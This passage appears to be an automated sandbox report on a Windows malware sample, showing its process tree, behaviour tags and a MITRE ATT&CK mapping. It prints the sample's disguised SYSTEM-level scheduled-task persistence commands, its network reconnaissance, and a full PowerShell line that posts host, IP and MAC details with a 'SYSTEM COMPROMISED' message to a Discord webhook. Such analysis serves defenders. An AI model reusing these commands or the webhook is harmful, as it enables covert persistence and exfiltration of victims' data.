    - Suspicious behavior: EnumeratesProcesses
    PID:1212
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftReloader" /f
    3⤵
    PID:3332
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftUpdateService" /f
    3⤵
    PID:4848
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftTelemetryHelper" /f
    3⤵
    PID:4708
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeSync" /f
    3⤵
    PID:3728
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftOfficeUpdater" /f
    3⤵
    PID:3232
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftOneDriveSync" /f
    3⤵
    PID:4588
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftReloaderBoot" /f
    3⤵
    PID:4160
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftReloaderBoot" /tr "\"C:\Users\Admin\AppData\Roaming\Realtek Audio\hJ73Ka.exe\"" /sc onstart /ru SYSTEM /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3636
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "MicrosoftReloaderBoot"
    3⤵
    PID:4660
- - C:\Users\Admin\AppData\Roaming\Realtek Audio\hJ73Ka.exe
    "C:\Users\Admin\AppData\Roaming\Realtek Audio\hJ73Ka.exe"
    3⤵
    - Executes dropped EXE
    PID:1568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c hostname
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:4328
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /C:"IPv4 Address" "C:\Users\Admin\AppData\Local\Temp\netinfo.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    PID:2576
  - - C:\Windows\system32\findstr.exe
      findstr /C:"IPv4 Address" "C:\Users\Admin\AppData\Local\Temp\netinfo.txt"
      4⤵
      PID:4948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /C:"Physical Address" "C:\Users\Admin\AppData\Local\Temp\netinfo.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    PID:2516
  - - C:\Windows\system32\findstr.exe
      findstr /C:"Physical Address" "C:\Users\Admin\AppData\Local\Temp\netinfo.txt"
      4⤵
      PID:672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$w='https://discord.com/api/webhooks/1553961064624951377/oHt9dWY3ErSJy-T9_ZLRgrJwFj2wQrP7BvtmbFI3vpyHDjNHwaEkK63YeKR0KFc4ymNM'; $c='```SYSTEM COMPROMISED\nHOST: Vhvqvsii\nUSER: Admin\nIP: 10.127.0.250\nMAC: CE-B1-9B-EE-F4-E1\nPAYLOAD: hJ73Ka.exe\nDEFENDER: DISABLED\nFIREWALL: DISABLED\nTASKS: 7 CREATED\nDECOYS: 60```'; Invoke-RestMethod -Uri $w -Method Post -ContentType 'application/json' -Body (@{content=$c;username='System Monitor'}|ConvertTo-Json)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:1152

C:\Users\Admin\AppData\Roaming\Realtek Audio\hJ73Ka.exe
"C:\Users\Admin\AppData\Roaming\Realtek Audio\hJ73Ka.exe"
1⤵
- Executes dropped EXE
PID:208

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1528

C:\Users\Admin\AppData\Roaming\Realtek Audio\hJ73Ka.exe
"C:\Users\Admin\AppData\Roaming\Realtek Audio\hJ73Ka.exe"
1⤵
- Executes dropped EXE
PID:5068

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3972

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:4364
- C:\Windows\system32\ipconfig.exe
  ipconfig
  2⤵
  - Gathers network information
  PID:1360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery